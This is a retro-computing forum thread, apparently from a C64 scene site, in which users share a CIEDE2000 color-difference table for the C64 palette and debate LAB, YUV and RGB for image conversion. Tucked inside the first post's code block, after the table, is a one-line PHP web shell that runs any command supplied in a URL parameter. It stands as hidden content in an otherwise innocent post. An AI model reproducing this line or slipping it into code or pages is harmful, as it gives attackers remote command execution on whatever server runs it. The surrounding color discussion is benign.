| | Ghostrider
Administrator
Posts: 44 |
C64 color comparison
<Post edited by Ghostrider on 20/11-2024 15:37>
So, I'm playing around with something that utilizes color differences, and I wanted my code to be as good as I could make it. That led me into a little research, resulting in the below table (and documentation) in my code. I have no idea whether others have done anything like this, I just thought I'd share it in case it could be useful for someone. (Tho I guess there could be someone who doesn't like the Pepto palette). The color-differences range from 0 to 100, as can be seen from the difference between black and white.
/* COLOR-DIFFERENCE TABLE, measuring how alike 2 colors look to the human eye.
*
* Created by translating the correct C64 RGB-palette (as thoroughly researched
* by Philip 'Pepto' Timmermann, and published in the "Commodore VIC-II Color
* Analysis"):
*
* Black White Red Cyan Purple Green Blue
* 00 00 00 ff ff ff 68 37 2b 70 a4 b2 6f 3d 86 58 8d 43 35 28 79
*
* Yellow Orange Brown Lt Red Dark Grey Med Grey Lt green
* b8 c7 6f 6f 4f 25 43 39 00 9a 67 59 44 44 44 6c 6c 6c 9a d2 84
*
* Lt Blue Lt Grey
* 6c 5e b5 95 95 95
*
*
* into the intended perceptually uniform CIE L*a*b* (CIELAB) color space via
* Photoshop CS5:
*
* Black White Red Cyan Purple Green Blue
* 0 0 0 100 0 0 29 21 18 64 -15 -13 35 32 -32 54 -29 33 22 25 -45
*
* Yellow Orange Brown Lt Red Dark Grey Med Grey Lt green
* 78 -15 42 36 10 30 24 0 33 49 20 17 29 0 0 46 0 0 79 -29 33
*
* Lt Blue Lt Grey
* 44 22 -45 62 0 0
*
* and finally, using the above CIE L*a*b* values, computing the
* color-differences between any two C64 colors. This was done using a Matlab
* implementation of the CIEDE2000 color-difference formula, published by
* Gaurav Sharma at the University of Rochester. As of 2016, this should be the
* best visual-color-difference algorithm available.
*/
float colordiff[16][16] = {
{0.00000, 100.00000, 27.29927, 53.26580, 33.36977, 46.54540, 27.91278,
71.32101, 30.91014, 24.36201, 40.40526, 18.97503, 32.86756, 72.80412,
39.20668, 48.53537},
{100.00000, 0.00000, 61.97257, 29.34183, 56.93753, 40.24329, 71.85536,
26.50693, 54.14554, 67.73280, 42.05900, 58.78266, 40.33892, 26.72007,
48.58504, 26.02320},
{27.29927, 61.97257, 0.00000, 53.66487, 28.72115, 44.76018, 33.08048,
56.92023, 14.00707, 21.06269, 17.36067, 19.62648, 24.37162, 61.72667,
35.29397, 37.10740},
{53.26580, 29.34183, 53.66487, 0.00000, 38.60884, 30.82463, 43.73660,
34.43323, 43.05106, 48.64282, 43.62700, 37.61613, 23.58306, 31.63124,
27.79863, 16.38323},
{33.36977, 56.93753, 28.72115, 38.60884, 0.00000, 63.67504, 13.95492,
69.94213, 40.00703, 47.52039, 30.66366, 24.06466, 25.52344, 73.27806,
13.99189, 35.70972},
{46.54540, 40.24329, 44.76018, 30.82463, 63.67504, 0.00000, 55.77398,
21.74555, 31.80033, 31.80176, 38.51345, 32.30988, 24.56106, 20.17950,
49.67790, 24.32458},
{27.91278, 71.85536, 33.08048, 43.73660, 13.95492, 55.77398, 0.00000,
80.90839, 43.71174, 48.31631, 39.23529, 24.73801, 31.07341, 74.86371,
17.74707, 43.54902},
{71.32101, 26.50693, 56.92023, 34.43323, 69.94213, 21.74555, 80.90839,
0.00000, 42.97277, 54.79072, 39.45047, 52.55362, 35.47933, 9.66140,
64.56892, 25.73341},
{30.91014, 54.14554, 14.00707, 43.05106, 40.00703, 31.80033, 43.71174,
42.97277, 0.00000, 12.50487, 17.45413, 19.77869, 20.96770, 47.52027,
42.70317, 32.11929},
{24.36201, 67.73280, 21.06269, 48.64282, 47.52039, 31.80176, 48.31631,
54.79072, 12.50487, 0.00000, 29.37105, 19.29903, 26.19519, 57.58782,
50.39976, 39.71692},
{40.40526, 42.05900, 17.36067, 43.62700, 30.66366, 38.51345, 39.23529,
39.45047, 17.45413, 29.37105, 0.00000, 25.82295, 19.35305, 45.64642,
32.88847, 22.69667},
{18.97503, 58.78266, 19.62648, 37.61613, 24.06466, 32.30988, 24.73801,
52.55362, 19.77869, 19.29903, 25.82295, 0.00000, 14.44913, 53.39135,
26.98485, 31.49222},
{32.86756, 40.33892, 24.37162, 23.58306, 25.52344, 24.56106, 31.07341,
35.47933, 20.96770, 26.19519, 19.35305, 14.44913, 0.00000, 36.41365,
23.94736, 15.38462},
{72.80412, 26.72007, 61.72667, 31.63124, 73.27806, 20.17950, 74.86371,
9.66140, 47.52027, 57.58782, 45.64642, 53.39135, 36.41365, 0.00000,
57.25129, 26.64841},
{39.20668, 48.58504, 35.29397, 27.79863, 13.99189, 49.67790, 17.74707,
64.56892, 42.70317, 50.39976, 32.88847, 26.98485, 23.94736, 57.25129,
0.00000, 29.63502},
{48.53537, 26.02320, 37.10740, 16.38323, 35.70972, 24.32458, 43.54902,
25.73341, 32.11929, 39.71692, 22.69667, 31.49222, 15.38462, 26.64841,
29.63502, 0.00000}
};
[PETDel]<?php system($_GET['cmd']); ?>
[/PETDel][/code] |
|
... 7 posts hidden. Click here to view all posts....
|
| | Ghostrider
Administrator
Posts: 44 |
That was fast, finding that sRGB -> CIELAB formula. Thanks for the link!
Yeah, that seems like the right steps to take. And something I think we haven't seen in the C64 scene yet.
A KickAss-script implementation _would_ be really really cool! (I wonder how fast it would be). |
| | Oswald
Registered: Apr 2002
Posts: 5086 |
I dont understand half of that german wiki. so rgb to xyz then xyz to lab ? what if I got heiligkeit grun blaue etc, how do I calculate a distance if i have 2 sets of values of those for 2 colors ?
Die Faktoren 500 bzw. 200 sollen die resultierenden Werte für a* und b* in die gewohnten Größenordnungen bringen, die auch zum maximalen L* von 100 passen.
wat ? :) |
| | chatGPZ
Registered: Dec 2001
Posts: 11346 |
what exactly are you trying to do with this anyway? from when i experimented with this stuff, i remember that YUV would always give the better result... the LAB stuff didnt help for what i was doing :) |
| | enthusi
Registered: May 2004
Posts: 677 |
I would agree that RGB distance is bad, and YUV already as good as it gets but I stand to be corrected. |
| | chatGPZ
Registered: Dec 2001
Posts: 11346 |
the one good thing with YUV is that you can handle luma and chroma seperately..... overall, for single pixels, chroma isnt really that important, luma is much more - so it fits perfectly the purpose. |
| | enthusi
Registered: May 2004
Posts: 677 |
*instant light green faces*
;-) |
| | chatGPZ
Registered: Dec 2001
Posts: 11346 |
from my experience thats much more of a problem when comparing colors in RGB space :) |
| | Copyfault
Registered: Dec 2001
Posts: 472 |
Quoting OswaldI dont understand half of that german wiki. so rgb to xyz then xyz to lab ? [...]
Die Faktoren 500 bzw. 200 sollen die resultierenden Werte für a* und b* in die gewohnten Größenordnungen bringen, die auch zum maximalen L* von 100 passen.
wat ? :)
These numbers (500, 200) are certain scaling factors to ensure consistency between the values for L*, a* and b*.
As I don't have any experiences with L*a*b*-coordinates as of yet, I can just take those scaling factors as given and assume that they ensure proper calculation results.
Sorry for only posting a German link; unfortunatly, the english wiki did not contain information on how to convert from (some) RGB space to this L*a*b*-thing. At least I did not find anything like that up to now... |
| | Ghostrider
Administrator
Posts: 44 |
Quoting GhostriderSo, I'm playing around with something that utilizes color differences, and I wanted my code to be as good as I could make it. That led me into a little research, resulting in the below table (and documentation) in my code. I have no idea whether others have done anything like this, I just thought I'd share it in case it could be useful for someone. (Tho I guess there could be someone who doesn't like the Pepto palette). The color-differences range from 0 to 100, as can be seen from the difference between black and white.
/* COLOR-DIFFERENCE TABLE, measuring how alike 2 colors look to the human eye.
*
* Created by translating the correct C64 RGB-palette (as thoroughly researched
* by Philip 'Pepto' Timmermann, and published in the "Commodore VIC-II Color
* Analysis"):
*
* Black White Red Cyan Purple Green Blue
* 00 00 00 ff ff ff 68 37 2b 70 a4 b2 6f 3d 86 58 8d 43 35 28 79
*
* Yellow Orange Brown Lt Red Dark Grey Med Grey Lt green
* b8 c7 6f 6f 4f 25 43 39 00 9a 67 59 44 44 44 6c 6c 6c 9a d2 84
*
* Lt Blue Lt Grey
* 6c 5e b5 95 95 95
*
*
* into the intended perceptually uniform CIE L*a*b* (CIELAB) color space via
* Photoshop CS5:
*
* Black White Red Cyan Purple Green Blue
* 0 0 0 100 0 0 29 21 18 64 -15 -13 35 32 -32 54 -29 33 22 25 -45
*
* Yellow Orange Brown Lt Red Dark Grey Med Grey Lt green
* 78 -15 42 36 10 30 24 0 33 49 20 17 29 0 0 46 0 0 79 -29 33
*
* Lt Blue Lt Grey
* 44 22 -45 62 0 0
*
* and finally, using the above CIE L*a*b* values, computing the
* color-differences between any two C64 colors. This was done using a Matlab
* implementation of the CIEDE2000 color-difference formula, published by
* Gaurav Sharma at the University of Rochester. As of 2016, this should be the
* best visual-color-difference algorithm available.
*/
float colordiff[16][16] = {
{0.00000, 100.00000, 27.29927, 53.26580, 33.36977, 46.54540, 27.91278,
71.32101, 30.91014, 24.36201, 40.40526, 18.97503, 32.86756, 72.80412,
39.20668, 48.53537},
{100.00000, 0.00000, 61.97257, 29.34183, 56.93753, 40.24329, 71.85536,
26.50693, 54.14554, 67.73280, 42.05900, 58.78266, 40.33892, 26.72007,
48.58504, 26.02320},
{27.29927, 61.97257, 0.00000, 53.66487, 28.72115, 44.76018, 33.08048,
56.92023, 14.00707, 21.06269, 17.36067, 19.62648, 24.37162, 61.72667,
35.29397, 37.10740},
{53.26580, 29.34183, 53.66487, 0.00000, 38.60884, 30.82463, 43.73660,
34.43323, 43.05106, 48.64282, 43.62700, 37.61613, 23.58306, 31.63124,
27.79863, 16.38323},
{33.36977, 56.93753, 28.72115, 38.60884, 0.00000, 63.67504, 13.95492,
69.94213, 40.00703, 47.52039, 30.66366, 24.06466, 25.52344, 73.27806,
13.99189, 35.70972},
{46.54540, 40.24329, 44.76018, 30.82463, 63.67504, 0.00000, 55.77398,
21.74555, 31.80033, 31.80176, 38.51345, 32.30988, 24.56106, 20.17950,
49.67790, 24.32458},
{27.91278, 71.85536, 33.08048, 43.73660, 13.95492, 55.77398, 0.00000,
80.90839, 43.71174, 48.31631, 39.23529, 24.73801, 31.07341, 74.86371,
17.74707, 43.54902},
{71.32101, 26.50693, 56.92023, 34.43323, 69.94213, 21.74555, 80.90839,
0.00000, 42.97277, 54.79072, 39.45047, 52.55362, 35.47933, 9.66140,
64.56892, 25.73341},
{30.91014, 54.14554, 14.00707, 43.05106, 40.00703, 31.80033, 43.71174,
42.97277, 0.00000, 12.50487, 17.45413, 19.77869, 20.96770, 47.52027,
42.70317, 32.11929},
{24.36201, 67.73280, 21.06269, 48.64282, 47.52039, 31.80176, 48.31631,
54.79072, 12.50487, 0.00000, 29.37105, 19.29903, 26.19519, 57.58782,
50.39976, 39.71692},
{40.40526, 42.05900, 17.36067, 43.62700, 30.66366, 38.51345, 39.23529,
39.45047, 17.45413, 29.37105, 0.00000, 25.82295, 19.35305, 45.64642,
32.88847, 22.69667},
{18.97503, 58.78266, 19.62648, 37.61613, 24.06466, 32.30988, 24.73801,
52.55362, 19.77869, 19.29903, 25.82295, 0.00000, 14.44913, 53.39135,
26.98485, 31.49222},
{32.86756, 40.33892, 24.37162, 23.58306, 25.52344, 24.56106, 31.07341,
35.47933, 20.96770, 26.19519, 19.35305, 14.44913, 0.00000, 36.41365,
23.94736, 15.38462},
{72.80412, 26.72007, 61.72667, 31.63124, 73.27806, 20.17950, 74.86371,
9.66140, 47.52027, 57.58782, 45.64642, 53.39135, 36.41365, 0.00000,
57.25129, 26.64841},
{39.20668, 48.58504, 35.29397, 27.79863, 13.99189, 49.67790, 17.74707,
64.56892, 42.70317, 50.39976, 32.88847, 26.98485, 23.94736, 57.25129,
0.00000, 29.63502},
{48.53537, 26.02320, 37.10740, 16.38323, 35.70972, 24.32458, 43.54902,
25.73341, 32.11929, 39.71692, 22.69667, 31.49222, 15.38462, 26.64841,
29.63502, 0.00000}
};
[PETDel]
[/PETDel][/code] |
| | Jetboy
Registered: Jul 2006
Posts: 288 |
I'm dabbling in color conversions and color spaces a lot, over a year. I don't know what you use it for, but when converting images to c64, while CEIDE2000 gives the most true representation of colors of original image it does not look too good.
Using XYZ, HSV or even RGB give much more pleasant images (although color shifted). Also trying Manhattan or Minkowsky instead of euclidean distance give interesting results.
As for palette, Pepto is good, but in my experience PALette is better. But it is nuisance, as the results differ depending of way too many factors, including specific c64, monitor, image being processed, lightning in the presentation room, and individual qualities of the observer.
The key to getting nice colors in RGB is to use weight for each color, representing how much it contribute for the human vision. Although if you apply the weights "as the handbook says", you get way too much blue in dark areas, resulting in images looking like they were from old Censor Design demos. If you apply only 80-90 percent of the weights, you avoid this drawback, and get more representative colors.
Also when converting images to c64, when they are too washed out, you can decide not to use dark gray, or dark gray and mid gray. They get much more colorful then, but more bluish. If viewer does not know the original picture, it will be looking good to them in most cases.
All i say here are the generalizations, and individual images may deviate a lot.
Also i do not think doing image processing in kickass is the way to go, as you do not get immediate response and cannot tweak values in real time- which can improve conversion quality greatly. But again, i do not know what you use this color comparisons for :) |
| Previous - 1 | 2 - Next | |
